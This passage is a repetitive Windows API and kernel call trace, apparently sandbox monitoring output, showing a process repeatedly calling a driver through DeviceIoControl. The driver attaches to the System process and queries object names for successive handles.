ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.295] ObReferenceObjectByHandle (in: Handle=0xffffffff8000093c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002125f20, HandleInformation=0x0) returned 0x0 [0130.295] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.295] PsReleaseProcessExitSynchronization () returned 0x2 [0130.295] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.295] ObQueryNameString (in: Object=0xfffffa8002125f20, ObjectNameInfo=0xfffffa80023fd7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80023fd7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.295] ObfDereferenceObject (Object=0xfffffa8002125f20) returned 0x2 [0130.295] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.295] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.295] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.295] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.295] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.295] PsAcquireProcessExitSynchronization () returned 0x0 [0130.295] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.295] ObReferenceObjectByHandle (in: Handle=0xffffffff80000940, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80019e2e60, HandleInformation=0x0) returned 0x0 [0130.295] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.295] PsReleaseProcessExitSynchronization () returned 0x2 [0130.295] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.295] ObQueryNameString (in: Object=0xfffffa80019e2e60, ObjectNameInfo=0xfffffa80020c0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020c0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.295] ObfDereferenceObject (Object=0xfffffa80019e2e60) returned 0x2 [0130.296] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.296] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.296] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.296] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.296] PsAcquireProcessExitSynchronization () returned 0x0 [0130.296] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.296] ObReferenceObjectByHandle (in: Handle=0xffffffff80000950, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80024f69a0, HandleInformation=0x0) returned 0x0 [0130.296] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.296] PsReleaseProcessExitSynchronization () returned 0x2 [0130.296] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.296] ObQueryNameString (in: Object=0xfffffa80024f69a0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.296] ObfDereferenceObject (Object=0xfffffa80024f69a0) returned 0x2 [0130.296] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.296] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.296] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.296] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.296] PsAcquireProcessExitSynchronization () returned 0x0 [0130.296] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.296] ObReferenceObjectByHandle (in: Handle=0xffffffff8000095c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80025eb610, HandleInformation=0x0) returned 0x0 [0130.296] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.296] PsReleaseProcessExitSynchronization () returned 0x2 [0130.296] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.296] ObQueryNameString (in: Object=0xfffffa80025eb610, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.296] ObfDereferenceObject (Object=0xfffffa80025eb610) returned 0x2 [0130.296] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.296] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.296] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.297] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.297] PsAcquireProcessExitSynchronization () returned 0x0 [0130.297] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.297] ObReferenceObjectByHandle (in: Handle=0xffffffff8000096c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80033f3830, HandleInformation=0x0) returned 0x0 [0130.297] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.297] PsReleaseProcessExitSynchronization () returned 0x2 [0130.297] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.297] ObQueryNameString (in: Object=0xfffffa80033f3830, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.297] ObfDereferenceObject (Object=0xfffffa80033f3830) returned 0x2 [0130.297] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.297] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.297] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.297] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.297] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.297] PsAcquireProcessExitSynchronization () returned 0x0 [0130.297] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.297] ObReferenceObjectByHandle (in: Handle=0xffffffff80000970, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80033f3bf0, HandleInformation=0x0) returned 0x0 [0130.297] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.297] PsReleaseProcessExitSynchronization () returned 0x2 [0130.297] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.297] ObQueryNameString (in: Object=0xfffffa80033f3bf0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.298] ObfDereferenceObject (Object=0xfffffa80033f3bf0) returned 0x2 [0130.298] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.298] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.298] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.298] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.298] PsAcquireProcessExitSynchronization () returned 0x0 [0130.298] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.298] ObReferenceObjectByHandle (in: Handle=0xffffffff80000978, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f97930, HandleInformation=0x0) returned 0x0 [0130.298] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.298] PsReleaseProcessExitSynchronization () returned 0x2 [0130.298] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.298] ObQueryNameString (in: Object=0xfffffa8002f97930, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.298] ObfDereferenceObject (Object=0xfffffa8002f97930) returned 0x2 [0130.298] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.298] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.298] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.298] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.298] PsAcquireProcessExitSynchronization () returned 0x0 [0130.298] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.298] ObReferenceObjectByHandle (in: Handle=0xffffffff80000980, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80027e3900, HandleInformation=0x0) returned 0x0 [0130.298] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.298] PsReleaseProcessExitSynchronization () returned 0x2 [0130.298] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.298] ObQueryNameString (in: Object=0xfffffa80027e3900, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.298] ObfDereferenceObject (Object=0xfffffa80027e3900) returned 0x2 [0130.298] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.298] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.298] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.299] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.299] PsAcquireProcessExitSynchronization () returned 0x0 [0130.299] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.299] ObReferenceObjectByHandle (in: Handle=0xffffffff80000988, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002508a20, HandleInformation=0x0) returned 0x0 [0130.299] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.299] PsReleaseProcessExitSynchronization () returned 0x2 [0130.299] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.299] ObQueryNameString (in: Object=0xfffffa8002508a20, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.299] ObfDereferenceObject (Object=0xfffffa8002508a20) returned 0x2 [0130.299] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.299] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.299] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.299] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.299] PsAcquireProcessExitSynchronization () returned 0x0 [0130.299] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.299] ObReferenceObjectByHandle (in: Handle=0xffffffff8000098c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037b4510, HandleInformation=0x0) returned 0x0 [0130.299] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.299] PsReleaseProcessExitSynchronization () returned 0x2 [0130.299] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.299] ObQueryNameString (in: Object=0xfffffa80037b4510, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.299] ObfDereferenceObject (Object=0xfffffa80037b4510) returned 0x2 [0130.299] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.299] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.299] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.299] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.299] PsAcquireProcessExitSynchronization () returned 0x0 [0130.299] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.299] ObReferenceObjectByHandle (in: Handle=0xffffffff8000099c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800214af20, HandleInformation=0x0) returned 0x0 [0130.299] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.299] PsReleaseProcessExitSynchronization () returned 0x2 [0130.299] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.299] ObQueryNameString (in: Object=0xfffffa800214af20, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.299] ObfDereferenceObject (Object=0xfffffa800214af20) returned 0x2 [0130.300] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.300] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.300] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.300] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.300] PsAcquireProcessExitSynchronization () returned 0x0 [0130.300] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.300] ObReferenceObjectByHandle (in: Handle=0xffffffff800009a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800235e050, HandleInformation=0x0) returned 0x0 [0130.300] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.300] PsReleaseProcessExitSynchronization () returned 0x2 [0130.300] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.300] ObQueryNameString (in: Object=0xfffffa800235e050, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.300] ObfDereferenceObject (Object=0xfffffa800235e050) returned 0x2 [0130.300] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.300] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.300] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.300] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.300] PsAcquireProcessExitSynchronization () returned 0x0 [0130.300] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.300] ObReferenceObjectByHandle (in: Handle=0xffffffff800009a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80033f9050, HandleInformation=0x0) returned 0x0 [0130.300] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.300] PsReleaseProcessExitSynchronization () returned 0x2 [0130.300] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.300] ObQueryNameString (in: Object=0xfffffa80033f9050, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.300] ObfDereferenceObject (Object=0xfffffa80033f9050) returned 0x2 [0130.300] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.300] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.300] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.300] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.300] PsAcquireProcessExitSynchronization () returned 0x0 [0130.300] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.300] ObReferenceObjectByHandle (in: Handle=0xffffffff800009a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80028915c0, HandleInformation=0x0) returned 0x0 [0130.301] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.301] PsReleaseProcessExitSynchronization () returned 0x2 [0130.301] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.301] ObQueryNameString (in: Object=0xfffffa80028915c0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.301] ObfDereferenceObject (Object=0xfffffa80028915c0) returned 0x2 [0130.301] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.301] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.301] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.301] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.301] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.301] PsAcquireProcessExitSynchronization () returned 0x0 [0130.301] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.301] ObReferenceObjectByHandle (in: Handle=0xffffffff800009ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80033faf20, HandleInformation=0x0) returned 0x0 [0130.301] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.301] PsReleaseProcessExitSynchronization () returned 0x2 [0130.301] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.301] ObQueryNameString (in: Object=0xfffffa80033faf20, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.301] ObfDereferenceObject (Object=0xfffffa80033faf20) returned 0x2 [0130.301] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.301] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.301] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.301] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.301] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.301] PsAcquireProcessExitSynchronization () returned 0x0 [0130.301] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.301] ObReferenceObjectByHandle (in: Handle=0xffffffff800009b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800d6f9f20, HandleInformation=0x0) returned 0x0 [0130.301] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.301] PsReleaseProcessExitSynchronization () returned 0x2 [0130.301] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.301] ObQueryNameString (in: Object=0xfffffa800d6f9f20, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.301] ObfDereferenceObject 